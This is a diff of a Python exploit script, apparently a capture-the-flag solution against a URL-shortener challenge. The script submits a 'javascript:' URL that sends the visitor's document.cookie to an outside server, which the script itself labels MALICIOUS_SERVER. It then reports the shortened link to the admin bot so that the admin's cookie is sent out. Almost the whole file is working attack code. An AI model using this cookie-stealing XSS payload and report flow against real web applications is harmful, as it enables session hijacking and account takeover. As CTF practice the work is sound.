Update

catthegray25/ezpz/dist-oops/exploit.py

@@ -1,15 +1,18 @@
 import requests
 from bs4 import BeautifulSoup
 
-LOCAL = True
+LOCAL = False 
 
 if LOCAL:
     TARGET = "http://localhost:33001/"
 else:
     TARGET = "http://challs2.nusgreyhats.org:33001/"  # Change this to actual challenge
-CALLBACK = "http://oops.cato447.de/log"
+MALICIOUS_SERVER = "https://oops.cato447.de"
+CALLBACK = f"{MALICIOUS_SERVER}/log"
+
+
+payload_url = "javascript:window.location.replace(`https://oops.cato447.de/log?c=` + document.cookie)"
 
-payload_url = f"{CALLBACK}/payload"
 
 print("[*] Submitting payload...")
 res = requests.post(f"{TARGET}/", data={"original_url": payload_url})
@@ -22,18 +25,9 @@ short_url = short_input["value"]
 print(f"[+] Short URL: {short_url}")
 
 print("[*] Submitting short url...")
-res = requests.post(f"{TARGET}/", data={"original_url": short_url})
-assert res.ok
-
-soup = BeautifulSoup(res.text, "html.parser")
-short_pointer_input = soup.find("input", {"id": "shortenedUrl"})
-assert short_pointer_input, "Shortened pointer URL input not found"
-short_pointer_url = short_pointer_input["value"]
-print(f"[+] Short pointer URL: {short_pointer_url}")
-
 
 print("[*] Reporting...")
-report = requests.post(f"{TARGET}/report", data={"submit_id": short_pointer_url})
+report = requests.post(f"{TARGET}/report", data={"submit_id": short_url})
 if report.ok:
     print("[+] Reported to admin — wait for callback!")
 else: